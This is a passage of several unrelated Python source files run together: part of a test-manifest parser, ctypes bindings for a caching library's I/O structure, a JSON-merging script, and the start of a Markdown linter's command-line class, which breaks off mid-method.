    def _read(self, root, filename, defaults, parentmanifest=None):
        """
        Internal recursive method for reading and parsing manifests.
        Stores all found tests in self.tests
        :param root: The base path
        :param filename: File object or string path for the base manifest file
        :param defaults: Options that apply to all items
        :param parentmanifest: Filename of the parent manifest, relative to rootdir (default None)
        """

        def read_file(type):
            include_file = section.split(type, 1)[-1]
            include_file = normalize_path(include_file)
            if not os.path.isabs(include_file):
                include_file = os.path.join(here, include_file)
            if not self.path_exists(include_file):
                message = "Included file '%s' does not exist" % include_file
                if self.strict:
                    raise IOError(message)
                else:
                    sys.stderr.write("%s\n" % message)
                    return
            return include_file

        # get directory of this file if not file-like object
        if isinstance(filename, string_types):
            # If we're using mercurial as our filesystem via a finder
            # during manifest reading, the getcwd() calls that happen
            # with abspath calls will not be meaningful, so absolute
            # paths are required.
            if self.finder:
                assert os.path.isabs(filename)
            filename = os.path.abspath(filename)
            filename_rel = self.relative_to_root(filename)
            self.source_files.add(filename)
            if self.finder:
                fp = codecs.getreader("utf-8")(self.finder.get(filename).open())
            else:
                fp = io.open(filename, encoding="utf-8")
            here = os.path.dirname(filename)
        else:
            fp = filename
            filename = here = None
            filename_rel = None
        defaults["here"] = here

        # read the configuration
        sections, defaults = read_ini(
            fp=fp,
            defaults=defaults,
            strict=self.strict,
            handle_defaults=self._handle_defaults,
        )
        if parentmanifest and filename:
            # A manifest can be read multiple times, via "include:", optionally
            # with section-specific variables. These variables only apply to
            # the included manifest when included via the same parent manifest,
            # so they must be associated with (parentmanifest, filename).
            #
            # |defaults| is a combination of variables, in the following order:
            # - The defaults of the ancestor manifests if self._handle_defaults
            #   is True.
            # - Any variables from the "[include:...]" section.
            # - The defaults of the included manifest.
            self.manifest_defaults[(parentmanifest, filename)] = defaults
        else:
            self.manifest_defaults[filename] = defaults

        # get the tests
        for section, data in sections:
            # a file to include
            # TODO: keep track of included file structure:
            # self.manifests = {'manifest.ini': 'relative/path.ini'}
            if section.startswith("include:"):
                include_file = read_file("include:")
                if include_file:
                    include_defaults = data.copy()
                    self._read(
                        root,
                        include_file,
                        include_defaults,
                        parentmanifest=filename_rel,
                    )
                continue

            # otherwise an item
            test = data.copy()
            test["name"] = section

            # Will be None if the manifest being read is a file-like object.
            test["manifest"] = filename
            test["manifest_relpath"] = None
            if filename:
                test["manifest_relpath"] = filename_rel

            # determine the path
            path = test.get("path", section)
            _relpath = path
            if "://" not in path:  # don't futz with URLs
                path = normalize_path(path)
                if here and not os.path.isabs(path):
                    # Profiling indicates 25% of manifest parsing is spent
                    # in this call to normpath, but almost all calls return
                    # their argument unmodified, so we avoid the call if
                    # '..' if not present in the path.
                    path = os.path.join(here, path)
                    if ".." in path:
                        path = os.path.normpath(path)
                _relpath = self.relative_to_root(path)

            test["path"] = path
            test["relpath"] = _relpath

            if parentmanifest is not None:
                # If a test was included by a parent manifest we may need to
                # indicate that in the test object for the sake of identifying
                # a test, particularly in the case a test file is included by
                # multiple manifests.
                test["ancestor_manifest"] = parentmanifest

            # append the item
            self.tests.append(test)

    def read(self, *filenames, **defaults):
        """
        read and add manifests from file paths or file-like objects

        filenames -- file paths or file-like objects to read as manifests
        defaults -- default variables
        """

        # ensure all files exist
        missing = [
            filename
            for filename in filenames
            if isinstance(filename, string_types) and not self.path_exists(filename)
        ]
        if missing:
            raise IOError("Missing files: %s" % ", ".join(missing))

        # default variables
        _defaults = defaults.copy() or self._defaults.copy()
        _defaults.setdefault("here", None)

        # process each file
        for filename in filenames:
            # set the per file defaults
            defaults = _defaults.copy()
            here = None
            if isinstance(filename, string_types):
                here = os.path.dirname(os.path.abspath(filename))
                defaults["here"] = here  # directory of master .ini file

            if self.rootdir is None:
                # set the root directory
                # == the directory of the first manifest given
                self.rootdir = here

            self._read(here, filename, defaults)

    # methods for querying manifests

    def query(self, *checks, **kw):
        """
        general query function for tests
        - checks : callable conditions to test if the test fulfills the query
        """
        tests = kw.get("tests", None)
        if tests is None:
            tests = self.tests
        retval = []
        for test in tests:
            for check in checks:
                if not check(test):
                    break
            else:
                retval.append(test)
        return retval

    def get(self, _key=None, inverse=False, tags=None, tests=None, **kwargs):
        # TODO: pass a dict instead of kwargs since you might hav
        # e.g. 'inverse' as a key in the dict

        # TODO: tags should just be part of kwargs with None values
        # (None == any is kinda weird, but probably still better)

        # fix up tags
        if tags:
            tags = set(tags)
        else:
            tags = set()

        # make some check functions
        if inverse:

            def has_tags(test):
                return not tags.intersection(test.keys())

            def dict_query(test):
                for key, value in list(kwargs.items()):
                    if test.get(key) == value:
                        return False
                return True

        else:

            def has_tags(test):
                return tags.issubset(test.keys())

            def dict_query(test):
                for key, value in list(kwargs.items()):
                    if test.get(key) != value:
                        return False
                return True

        # query the tests
        tests = self.query(has_tags, dict_query, tests=tests)

        # if a key is given, return only a list of that key
        # useful for keys like 'name' or 'path'
        if _key:
            return [test[_key] for test in tests]

        # return the tests
        return tests

    def manifests(self, tests=None):
        """
        return manifests in order in which they appear in the tests
        If |tests| is not set, the order of the manifests is unspecified.
        """
        if tests is None:
            manifests = []
            # Make sure to return all the manifests, even ones without tests.
            for manifest in list(self.manifest_defaults.keys()):
                if isinstance(manifest, tuple):
                    parentmanifest, manifest = manifest
                if manifest not in manifests:
                    manifests.append(manifest)
            return manifests

        manifests = []
        for test in tests:
            manifest = test.get("manifest")
            if not manifest:
                continue
            if manifest not in manifests:
                manifests.append(manifest)
        return manifests

    def paths(self):
        return [i["path"] for i in self.tests]

    # methods for auditing

    def missing(self, tests=None):
        """
        return list of tests that do not exist on the filesystem
        """
        if tests is None:
            tests = self.tests
        existing = list(_exists(tests, {}))
        return [t for t in tests if t not in existing]

    def check_missing(self, tests=None):
        missing = self.missing(tests=tests)
        if missing:
            missing_paths = [test["path"] for test in missing]
            if self.strict:
                raise IOError(
                    "Strict mode enabled, test paths must exist. "
                    "The following test(s) are missing: %s"
                    % json.dumps(missing_paths, indent=2)
                )
            print(
                "Warning: The following test(s) are missing: %s"
                % json.dumps(missing_paths, indent=2),
                file=sys.stderr,
            )
        return missing

    def verifyDirectory(self, directories, pattern=None, extensions=None):
        """
        checks what is on the filesystem vs what is in a manifest
        returns a 2-tuple of sets:
        (missing_from_filesystem, missing_from_manifest)
        """

        files = set([])
        if isinstance(directories, string_types):
            directories = [directories]

        # get files in directories
        for directory in directories:
            for dirpath, dirnames, filenames in os.walk(directory, topdown=True):

                # only add files that match a pattern
                if pattern:
                    filenames = fnmatch.filter(filenames, pattern)

                # only add files that have one of the extensions
                if extensions:
                    filenames = [
                        filename
                        for filename in filenames
                        if os.path.splitext(filename)[-1] in extensions
                    ]

                files.update(
                    [os.path.join(dirpath, filename) for filename in filenames]
                )

        paths = set(self.paths())
        missing_from_filesystem = paths.difference(files)
        missing_from_manifest = files.difference(paths)
        return (missing_from_filesystem, missing_from_manifest)

    # methods for output

    def write(
        self,
        fp=sys.stdout,
        rootdir=None,
        global_tags=None,
        global_kwargs=None,
        local_tags=None,
        local_kwargs=None,
    ):
        """
        write a manifest given a query
        global and local options will be munged to do the query
        globals will be written to the top of the file
        locals (if given) will be written per test
        """

        # open file if `fp` given as string
        close = False
        if isinstance(fp, string_types):
            fp = open(fp, "w")
            close = True

        # root directory
        if rootdir is None:
            rootdir = self.rootdir

        # sanitize input
        global_tags = global_tags or set()
        local_tags = local_tags or set()
        global_kwargs = global_kwargs or {}
        local_kwargs = local_kwargs or {}

        # create the query
        tags = set([])
        tags.update(global_tags)
        tags.update(local_tags)
        kwargs = {}
        kwargs.update(global_kwargs)
        kwargs.update(local_kwargs)

        # get matching tests
        tests = self.get(tags=tags, **kwargs)

        # print the .ini manifest
        if global_tags or global_kwargs:
            print("[DEFAULT]", file=fp)
            for tag in global_tags:
                print("%s =" % tag, file=fp)
            for key, value in list(global_kwargs.items()):
                print("%s = %s" % (key, value), file=fp)
            print(file=fp)

        for test in tests:
            test = test.copy()  # don't overwrite

            path = test["name"]
            if not os.path.isabs(path):
                path = test["path"]
                if self.rootdir:
                    path = relpath(test["path"], self.rootdir)
                path = denormalize_path(path)
            print("[%s]" % path, file=fp)

            # reserved keywords:
            reserved = [
                "path",
                "name",
                "here",
                "manifest",
                "manifest_relpath",
                "relpath",
                "ancestor_manifest",
            ]
            for key in sorted(test.keys()):
                if key in reserved:
                    continue
                if key in global_kwargs:
                    continue
                if key in global_tags and not test[key]:
                    continue
                print("%s = %s" % (key, test[key]), file=fp)
            print(file=fp)

        if close:
            # close the created file
            fp.close()

    def __str__(self):
        fp = StringIO()
        self.write(fp=fp)
        value = fp.getvalue()
        return value

    def copy(self, directory, rootdir=None, *tags, **kwargs):
        """
        copy the manifests and associated tests
        - directory : directory to copy to
        - rootdir : root directory to copy to (if not given from manifests)
        - tags : keywords the tests must have
        - kwargs : key, values the tests must match
        """
        # XXX note that copy does *not* filter the tests out of the
        # resulting manifest; it just stupidly copies them over.
        # ideally, it would reread the manifests and filter out the
        # tests that don't match *tags and **kwargs

        # destination
        if not os.path.exists(directory):
            os.path.makedirs(directory)
        else:
            # sanity check
            assert os.path.isdir(directory)

        # tests to copy
        tests = self.get(tags=tags, **kwargs)
        if not tests:
            return  # nothing to do!

        # root directory
        if rootdir is None:
            rootdir = self.rootdir

        # copy the manifests + tests
        manifests = [relpath(manifest, rootdir) for manifest in self.manifests()]
        for manifest in manifests:
            destination = os.path.join(directory, manifest)
            dirname = os.path.dirname(destination)
            if not os.path.exists(dirname):
                os.makedirs(dirname)
            else:
                # sanity check
                assert os.path.isdir(dirname)
            shutil.copy(os.path.join(rootdir, manifest), destination)

        missing = self.check_missing(tests)
        tests = [test for test in tests if test not in missing]
        for test in tests:
            if os.path.isabs(test["name"]):
                continue
            source = test["path"]
            destination = os.path.join(directory, relpath(test["path"], rootdir))
            shutil.copy(source, destination)
            # TODO: ensure that all of the tests are below the from_dir

    def update(self, from_dir, rootdir=None, *tags, **kwargs):
        """
        update the tests as listed in a manifest from a directory
        - from_dir : directory where the tests live
        - rootdir : root directory to copy to (if not given from manifests)
        - tags : keys the tests must have
        - kwargs : key, values the tests must match
        """

        # get the tests
        tests = self.get(tags=tags, **kwargs)

        # get the root directory
        if not rootdir:
            rootdir = self.rootdir

        # copy them!
        for test in tests:
            if not os.path.isabs(test["name"]):
                _relpath = relpath(test["path"], rootdir)
                source = os.path.join(from_dir, _relpath)
                if not os.path.exists(source):
                    message = "Missing test: '%s' does not exist!"
                    if self.strict:
                        raise IOError(message)
                    print(message + " Skipping.", file=sys.stderr)
                    continue
                destination = os.path.join(rootdir, _relpath)
                shutil.copy(source, destination)

    # directory importers

    @classmethod
    def _walk_directories(cls, directories, callback, pattern=None, ignore=()):
        """
        internal function to import directories
        """

        if isinstance(pattern, string_types):
            patterns = [pattern]
        else:
            patterns = pattern
        ignore = set(ignore)

        if not patterns:

            def accept_filename(filename):
                return True

        else:

            def accept_filename(filename):
                for pattern in patterns:
                    if fnmatch.fnmatch(filename, pattern):
                        return True

        if not ignore:

            def accept_dirname(dirname):
                return True

        else:

            def accept_dirname(dirname):
                return dirname not in ignore

        rootdirectories = directories[:]
        seen_directories = set()
        for rootdirectory in rootdirectories:
            # let's recurse directories using list
            directories = [os.path.realpath(rootdirectory)]
            while directories:
                directory = directories.pop(0)
                if directory in seen_directories:
                    # eliminate possible infinite recursion due to
                    # symbolic links
                    continue
                seen_directories.add(directory)

                files = []
                subdirs = []
                for name in sorted(os.listdir(directory)):
                    path = os.path.join(directory, name)
                    if os.path.isfile(path):
                        # os.path.isfile follow symbolic links, we don't
                        # need to handle them here.
                        if accept_filename(name):
                            files.append(name)
                        continue
                    elif os.path.islink(path):
                        # eliminate symbolic links
                        path = os.path.realpath(path)

                    # we must have a directory here
                    if accept_dirname(name):
                        subdirs.append(name)
                        # this subdir is added for recursion
                        directories.insert(0, path)

                # here we got all subdirs and files filtered, we can
                # call the callback function if directory is not empty
                if subdirs or files:
                    callback(rootdirectory, directory, subdirs, files)

    @classmethod
    def populate_directory_manifests(
        cls, directories, filename, pattern=None, ignore=(), overwrite=False
    ):
        """
        walks directories and writes manifests of name `filename` in-place;
        returns `cls` instance populated with the given manifests

        filename -- filename of manifests to write
        pattern -- shell pattern (glob) or patterns of filenames to match
        ignore -- directory names to ignore
        overwrite -- whether to overwrite existing files of given name
        """

        manifest_dict = {}

        if os.path.basename(filename) != filename:
            raise IOError("filename should not include directory name")

        # no need to hit directories more than once
        _directories = directories
        directories = []
        for directory in _directories:
            if directory not in directories:
                directories.append(directory)

        def callback(directory, dirpath, dirnames, filenames):
            """write a manifest for each directory"""

            manifest_path = os.path.join(dirpath, filename)
            if (dirnames or filenames) and not (
                os.path.exists(manifest_path) and overwrite
            ):
                with open(manifest_path, "w") as manifest:
                    for dirname in dirnames:
                        print(
                            "[include:%s]" % os.path.join(dirname, filename),
                            file=manifest,
                        )
                    for _filename in filenames:
                        print("[%s]" % _filename, file=manifest)

                # add to list of manifests
                manifest_dict.setdefault(directory, manifest_path)

        # walk the directories to gather files
        cls._walk_directories(directories, callback, pattern=pattern, ignore=ignore)
        # get manifests
        manifests = [manifest_dict[directory] for directory in _directories]

        # create a `cls` instance with the manifests
        return cls(manifests=manifests)

    @classmethod
    def from_directories(
        cls, directories, pattern=None, ignore=(), write=None, relative_to=None
    ):
        """
        convert directories to a simple manifest; returns ManifestParser instance

        pattern -- shell pattern (glob) or patterns of filenames to match
        ignore -- directory names to ignore
        write -- filename or file-like object of manifests to write;
                 if `None` then a StringIO instance will be created
        relative_to -- write paths relative to this path;
                       if false then the paths are absolute
        """

        # determine output
        opened_manifest_file = None  # name of opened manifest file
        absolute = not relative_to  # whether to output absolute path names as names
        if isinstance(write, string_types):
            opened_manifest_file = write
            write = open(write, "w")
        if write is None:
            write = StringIO()

        # walk the directories, generating manifests
        def callback(directory, dirpath, dirnames, filenames):

            # absolute paths
            filenames = [os.path.join(dirpath, filename) for filename in filenames]
            # ensure new manifest isn't added
            filenames = [
                filename for filename in filenames if filename != opened_manifest_file
            ]
            # normalize paths
            if not absolute and relative_to:
                filenames = [relpath(filename, relative_to) for filename in filenames]

            # write to manifest
            write_content = "\n".join(
                ["[{}]".format(denormalize_path(filename)) for filename in filenames]
            )
            print(write_content, file=write)

        cls._walk_directories(directories, callback, pattern=pattern, ignore=ignore)

        if opened_manifest_file:
            # close file
            write.close()
            manifests = [opened_manifest_file]
        else:
            # manifests/write is a file-like object;
            # rewind buffer
            write.flush()
            write.seek(0)
            manifests = [write]

        # make a ManifestParser instance
        return cls(manifests=manifests)

convert = ManifestParser.from_directories

class TestManifest(ManifestParser):
    """
    apply logic to manifests;  this is your integration layer :)
    specific harnesses may subclass from this if they need more logic
    """

    def __init__(self, *args, **kwargs):
        ManifestParser.__init__(self, *args, **kwargs)
        self.filters = filterlist(DEFAULT_FILTERS)
        self.last_used_filters = []

    def active_tests(
        self, exists=True, disabled=True, filters=None, noDefaultFilters=False, **values
    ):
        """
        Run all applied filters on the set of tests.

        :param exists: filter out non-existing tests (default True)
        :param disabled: whether to return disabled tests (default True)
        :param values: keys and values to filter on (e.g. `os = linux mac`)
        :param filters: list of filters to apply to the tests
        :returns: list of test objects that were not filtered out
        """
        tests = [i.copy() for i in self.tests]  # shallow copy

        # mark all tests as passing
        for test in tests:
            test["expected"] = test.get("expected", "pass")

        # make a copy so original doesn't get modified
        if noDefaultFilters:
            fltrs = []
        else:
            fltrs = self.filters[:]

        if exists:
            if self.strict:
                self.check_missing(tests)
            else:
                fltrs.append(_exists)

        if not disabled:
            fltrs.append(enabled)

        if filters:
            fltrs += filters

        self.last_used_filters = fltrs[:]
        for fn in fltrs:
            tests = fn(tests, values)
        return list(tests)

    def test_paths(self):
        return [test["path"] for test in self.active_tests()]

    def fmt_filters(self, filters=None):
        filters = filters or self.last_used_filters
        names = []
        for f in filters:
            if isinstance(f, types.FunctionType):
                names.append(f.__name__)
            else:
                names.append(str(f))
        return ", ".join(names)


from ctypes import (
    c_void_p,
    c_int,
    c_uint32,
    c_uint64,
    CFUNCTYPE,
    Structure,
    POINTER,
    byref,
    cast,
)
from enum import IntEnum

from ..ocf import OcfLib
from .data import Data

class IoDir(IntEnum):
    READ = 0
    WRITE = 1

class IoOps(Structure):
    pass

class Io(Structure):
    START = CFUNCTYPE(None, c_void_p)
    HANDLE = CFUNCTYPE(None, c_void_p, c_void_p)
    END = CFUNCTYPE(None, c_void_p, c_int)

    _instances_ = {}
    _fields_ = [
        ("_addr", c_uint64),
        ("_flags", c_uint64),
        ("_bytes", c_uint32),
        ("_class", c_uint32),
        ("_dir", c_uint32),
        ("_io_queue", c_void_p),
        ("_start", START),
        ("_priv1", c_void_p),
        ("_priv2", c_void_p),
        ("_handle", HANDLE),
        ("_end", END),
    ]

    @classmethod
    def from_pointer(cls, ref):
        c = cls.from_address(ref)
        cls._instances_[ref] = c
        OcfLib.getInstance().ocf_io_set_cmpl_wrapper(byref(c), None, None, c.c_end)
        return c

    @classmethod
    def get_instance(cls, ref):
        return cls._instances_[cast(ref, c_void_p).value]

    def del_object(self):
        del type(self)._instances_[cast(byref(self), c_void_p).value]

    def put(self):
        OcfLib.getInstance().ocf_io_put(byref(self))

    def get(self):
        OcfLib.getInstance().ocf_io_get(byref(self))

    @staticmethod
    @END
    def c_end(io, err):
        Io.get_instance(io).end(err)

    @staticmethod
    @START
    def c_start(io):
        Io.get_instance(io).start()

    @staticmethod
    @HANDLE
    def c_handle(io, opaque):
        Io.get_instance(io).handle(opaque)

    def end(self, err):
        try:
            self.callback(err)
        except:  # noqa E722
            pass

        self.del_object()
        self.put()

    def submit(self):
        return OcfLib.getInstance().ocf_volume_submit_io(byref(self))

    def submit_flush(self):
        return OcfLib.getInstance().ocf_volume_submit_flush(byref(self))

    def submit_discard(self):
        return OcfLib.getInstance().ocf_volume_submit_discard(byref(self))

    def submit_flush(self):
        return OcfLib.getInstance().ocf_volume_submit_flush(byref(self))

    def submit_discard(self):
        return OcfLib.getInstance().ocf_volume_submit_discard(byref(self))

    def set_data(self, data: Data, offset: int = 0):
        self.data = data
        OcfLib.getInstance().ocf_io_set_data(byref(self), data, offset)

IoOps.SET_DATA = CFUNCTYPE(c_int, POINTER(Io), c_void_p, c_uint32)
IoOps.GET_DATA = CFUNCTYPE(c_void_p, POINTER(Io))

IoOps._fields_ = [("_set_data", IoOps.SET_DATA), ("_get_data", IoOps.GET_DATA)]

lib = OcfLib.getInstance()
lib.ocf_io_set_cmpl_wrapper.argtypes = [POINTER(Io), c_void_p, c_void_p, Io.END]

lib.ocf_io_set_data.argtypes = [POINTER(Io), c_void_p, c_uint32]
lib.ocf_io_set_data.restype = c_int

lib.ocf_volume_submit_io.argtypes = [POINTER(Io)]
lib.ocf_volume_submit_io.restype = None

lib.ocf_volume_submit_flush.argtypes = [POINTER(Io)]
lib.ocf_volume_submit_flush.restype = None

lib.ocf_volume_submit_discard.argtypes = [POINTER(Io)]
lib.ocf_volume_submit_discard.restype = None


import json, os, sys

def merge_dols(dol1, dol2):
    keys = set(dol1).union(dol2)
    no = []
    return dict((k, dol1.get(k, no) + dol2.get(k, no)) for k in keys)

data1 = None
data2 = None
data_final = None

if len(sys.argv) < 4:
    exit("Please provide at least three files.\nThe program has ended.")

file1 = sys.argv[1]
file2 = sys.argv[2]
file_final = None

if len(sys.argv) == 4:
    file_final = sys.argv[3]

if not file1.endswith(".txt"):
    file1 = file1 + ".txt"

if not file2.endswith(".txt"):
    file2 = file2 + ".txt"

if not file_final.endswith(".txt"):
    file_final = file_final + ".txt"

while(True):
    try:
        with open(file1, 'r') as textfile1:
            data1 = json.load(textfile1)

        with open(file2, 'r') as textfile2:
            data2 = json.load(textfile2)

        if data1 is not None and data2 is not None:
            break

    except (FileNotFoundError, json.decoder.JSONDecodeError):   #if there is no file, end
        print(f"An error has occured.")
        exit("\nThe program has ended.")

for item in ["url", "name", "address", "max players"]:
    if data1[item] != data2[item]:
        print(f"Data mismatch.")
        exit("\nThe program has ended.")

#combined = {key:data1["hours"][key] + data2["hours"][key] for key in data1["hours"]}
data_final = data1
data_final["hours"] = merge_dols(data1["hours"], data2["hours"])

with open(file_final, 'w+') as outfile:
    json.dump(data_final, outfile, indent=4)
    print("\nMerging files was successful!")


"""
Module to provide for a simple implementation of a title case algorithm.
"""
import argparse
import logging
import os
import runpy
import traceback
from typing import List, Optional, Tuple, cast

from application_properties import ApplicationProperties
from application_properties.application_properties_utilities import (
    ApplicationPropertiesUtilities,
)

from pymarkdown.application_configuration_helper import ApplicationConfigurationHelper
from pymarkdown.application_file_scanner import (
    ApplicationFileScanner,
    ApplicationFileScannerOutputProtocol,
)
from pymarkdown.application_logging import ApplicationLogging
from pymarkdown.extension_manager.extension_manager import ExtensionManager
from pymarkdown.file_scan_helper import FileScanHelper
from pymarkdown.general.bad_tokenization_error import BadTokenizationError
from pymarkdown.general.main_presentation import MainPresentation
from pymarkdown.general.parser_logger import ParserLogger
from pymarkdown.general.tokenized_markdown import TokenizedMarkdown
from pymarkdown.plugin_manager.bad_plugin_error import BadPluginError
from pymarkdown.plugin_manager.plugin_manager import PluginManager
from pymarkdown.return_code_helper import ApplicationResult, ReturnCodeHelper

POGGER = ParserLogger(logging.getLogger(__name__))

LOGGER = logging.getLogger(__name__)

# pylint: disable=too-many-instance-attributes
class PyMarkdownLint:
    """
    Class to provide for a simple implementation of a title case algorithm.
    """

    def __init__(
        self,
        presentation: Optional[MainPresentation] = None,
        show_stack_trace: bool = False,
        inherit_logging: bool = False,
        string_to_scan: Optional[str] = None,
    ) -> None:
        self.__presentation = presentation or MainPresentation()
        self.__show_stack_trace = show_stack_trace
        self.__string_to_scan = string_to_scan

        self.__version_number = PyMarkdownLint.__get_semantic_version()
        self.__properties: ApplicationProperties = ApplicationProperties()
        self.__logging = (
            None
            if inherit_logging
            else ApplicationLogging(
                self.__properties,
                default_log_level="CRITICAL",
                show_stack_trace=show_stack_trace,
            )
        )
        self.__tokenizer: Optional[TokenizedMarkdown] = None
        self.__plugins: PluginManager = PluginManager(self.__presentation)
        self.__extensions: ExtensionManager = ExtensionManager(self.__presentation)

    @property
    def application_version(self) -> str:
        """
        Return the version of the application.
        """
        return self.__version_number

    @staticmethod
    def __get_semantic_version() -> str:
        file_path = __file__
        assert os.path.isabs(file_path)
        file_path = file_path.replace(os.sep, "/")
        last_index = file_path.rindex("/")
        file_path = f"{file_path[: last_index + 1]}version.py"
        version_meta = runpy.run_path(file_path)
        return str(version_meta["__version__"])

    def __initialize_subsystems(
        self, direct_args: Optional[List[str]]
    ) -> argparse.Namespace:
        ReturnCodeHelper.reset()

        args = self.__parse_arguments(direct_args=direct_args)
        self.__set_initial_state(args)

        self.__show_stack_trace = args.show_stack_trace
        if not self.__show_stack_trace and self.__properties:
            self.__show_stack_trace = self.__properties.get_boolean_property(
                "log.stack-trace"
            )

        if self.__logging:
            self.__logging.initialize(args)
        ParserLogger.sync_on_next_call()

        if direct_args is None:
            LOGGER.debug("Using supplied command line arguments.")
        else:
            LOGGER.debug("Using direct arguments: %s", str(direct_args))

        self.__initialize_plugins_and_extensions(args)
        return args

    def __parse_arguments(self, direct_args: Optional[List[str]]) -> argparse.Namespace:
        parser = argparse.ArgumentParser(description="Lint any found Markdown files.")

        parser.add_argument(
            "-e",
            "--enable-rules",
            dest="enable_rules",
            action="store",
            default="",
            help="comma separated list of rules to enable",
        )
        parser.add_argument(
            "-d",
            "--disable-rules",
            dest="disable_rules",
            action="store",
            default="",
            help="comma separated list of rules to disable",
        )

        parser.add_argument(
            "-x-stdin",
            dest="x_test_stdin_fault",
            action="store_true",
            default="",
            help=argparse.SUPPRESS,
        )
        parser.add_argument(
            "-x-fix",
            dest="x_fix",
            action="store_true",
            default="",
            help=argparse.SUPPRESS,
        )
        parser.add_argument(
            "-x-fix-debug",
            dest="x_fix_debug",
            action="store_true",
            default="",
            help=argparse.SUPPRESS,
        )
        parser.add_argument(
            "-x-fix-file-debug",
            dest="x_fix_file_debug",
            action="store_true",
            default="",
            help=argparse.SUPPRESS,
        )

        parser.add_argument(
            "--add-plugin",
            dest="add_plugin",
            action="append",
            default=None,
            help="path to a plugin containing a new rule to apply",
        )
        ApplicationPropertiesUtilities.add_default_command_line_arguments(parser)
        parser.add_argument(
            "--stack-trace",
            dest="show_stack_trace",
            action="store_true",
            default=False,
            help="if an error occurs, print out the stack trace for debug purposes",
        )
        ApplicationLogging.add_default_command_line_arguments(parser)
        ReturnCodeHelper.add_command_line_arguments(parser)

        subparsers = parser.add_subparsers(dest="primary_subparser")
        PluginManager.add_argparse_subparser(subparsers)
        ExtensionManager.add_argparse_subparser(subparsers)
        FileScanHelper.add_argparse_subparser(subparsers)

        subparsers.add_parser("version", help="version of the application")

        parse_arguments = parser.parse_args(args=direct_args)

        if not parse_arguments.primary_subparser:
            parser.print_help()
            ReturnCodeHelper.exit_application(ApplicationResult.COMMAND_LINE_ERROR)
        elif parse_arguments.primary_subparser == "version":
            print(f"{self.__version_number}")
            ReturnCodeHelper.exit_application(ApplicationResult.SUCCESS)
        return parse_arguments

    def __set_initial_state(self, args: argparse.Namespace) -> None:
        if self.__logging:
            self.__logging.pre_initialize_with_args(args)

        ApplicationConfigurationHelper.apply_configuration_layers(
            args, self.__properties, self.__handle_error
        )

        ReturnCodeHelper.set_initial_state(args, self.__properties)

        LOGGER.info("Configuration loaded and applied.  Initial state setup completed.")

    def __initialize_plugins_and_extensions(self, args: argparse.Namespace) -> None:
        self.__initialize_plugins(args)
        self.__initialize_extensions(args)

        if args.primary_subparser == PluginManager.argparse_subparser_name():
            ReturnCodeHelper.exit_application(
                self.__plugins.handle_argparse_subparser(args)
            )
        if args.primary_subparser == ExtensionManager.argparse_subparser_name():
            ReturnCodeHelper.exit_application(
                self.__extensions.handle_argparse_subparser(args)
            )

    def __initialize_plugins(self, args: argparse.Namespace) -> None:
        try:
            plugin_dir = os.path.dirname(os.path.realpath(__file__))
            plugin_dir = os.path.join(plugin_dir, "plugins")
            self.__initialize_plugin_manager(args, plugin_dir)
            self.__apply_configuration_to_plugins()
        except ValueError as this_exception:
            formatted_error = (
                f"{type(this_exception).__name__} encountered while initializing plugins:\n"
                + f"{this_exception}"
            )
            self.__handle_error(formatted_error, this_exception)

    def __initialize_plugin_manager(
        self, args: argparse.Namespace, plugin_dir: str
    ) -> None:
        """
        Make sure all plugins are ready before being initialized.
        """

        try:
            self.__plugins.initialize(
                plugin_dir,
                args.add_plugin,
                args.enable_rules,
                args.disable_rules,
                self.__properties,
                self.__show_stack_trace,
                args.x_fix_debug,
            )
        except BadPluginError as this_exception:
            formatted_error = (
                f"BadPluginError encountered while loading plugins:\n{this_exception}"
            )
            self.__handle_error(formatted_error, this_exception)

    # pylint: disable=broad-exception-caught
    def __apply_configuration_to_plugins(self) -> None:
        try:
            self.__plugins.apply_configuration(self.__properties)
        except Exception as this_exception:
            formatted_error = (
                f"{type(this_exception).__name__} encountered while configuring plugins:\n"
                + f"{this_exception}"
            )
            self.__handle_error(formatted_error, this_exception)

    # pylint: enable=broad-exception-caught

    # pylint: disable=broad-exception-caught
    def __initialize_extensions(self, args: argparse.Namespace) -> None:
        try:
            self.__extensions.initialize(
                args,
                self.__properties,
            )
            self.__extensions.apply_configuration()

        except ValueError as this_exception:
            formatted_error = (
                f"Configuration error {type(this_exception).__name__} encountered "
                + f"while initializing extensions:\n{this_exception}"
            )
            self.__handle_error(formatted_error, this_exception)
        except Exception as this_exception:
            formatted_error = (
                f"Error {type(this_exception).__name__} encountered while initializing extensions:\n"
                + f"{this_exception}"
            )
            self.__handle_error(formatted_error, this_exception)

    # pylint: enable=broad-exception-caught

    def __initialize_parser(self) -> None:
        try:
            self.__tokenizer = TokenizedMarkdown()
            self.__tokenizer.apply_configuration(self.__properties, self.__extensions)
        except BadTokenizationError as this_exception:
            formatted_error = (
                f"{type(this_exception).__name__} encountered while initializing tokenizer:\n"
                + f"{this_exception}"
            )
            self.__handle_error(formatted_error, this_exception)

    def __handle_error(
        self,
        formatted_error: str,
        thrown_error: Optional[Exception],
        exit_on_error: bool = True,
    ) -> None:
        LOGGER.warning(formatted_error, exc_info=thrown_error)

        stack_trace = (
            "\n" + traceback.format_exc()
            if self.__show_stack_trace
            and thrown_error
            and not isinstance(thrown_error, ValueError)
            else ""
        )
        self.__presentation.print_system_error(f"\n\n{formatted_error}{stack_trace}")
        if exit_on_error:
            ReturnCodeHelper.exit_application(ApplicationResult.SYSTEM_ERROR)

    def __handle_file_scanner_output(self, formatted_output: str) -> None:
        self.__presentation.print_system_output(formatted_output)

    def __handle_file_scanner_error(self, formatted_error: str) -> None:
        self.__handle_error(formatted_error, None, exit_on_error=False)

    def __scan_files_if_no_errors(
        self,
        args: argparse.Namespace,
        use_standard_in: bool,
        files_to_scan: List[str],
        did_error_scanning_files: bool,
    ) -> ApplicationResult:  # sourcery skip: extract-method
        scan_result = ApplicationResult.SUCCESS
        did_fix_any_files = False
        if did_error_scanning_files:
            self.__handle_error("No matching files found.", None, exit_on_error=False)
            scan_result = ApplicationResult.NO_FILES_TO_SCAN
        else:
            POGGER.info("Initializing parser.")
            self.__initialize_parser()

            POGGER.info("Processing files with parser.")
            assert self.__tokenizer
            fsh = FileScanHelper(
                self.__tokenizer,
                self.__plugins,
                self.__presentation,
                self.__show_stack_trace,
                self.__handle_error,
            )
            did_fix_any_files = fsh.process_files_to_scan(
                args, use_standard_in, files_to_scan, self.__string_to_scan
            )
            if did_fix_any_files:
                scan_result = ApplicationResult.FIXED_AT_LEAST_ONE_FILE
            elif self.__plugins.number_of_scan_failures:
                scan_result = ApplicationResult.SCAN_TRIGGERED_AT_LEAST_ONCE
            POGGER.info("Files have been processed.")

        return scan_result

    def __find_files_to_scan(
        self, args: argparse.Namespace
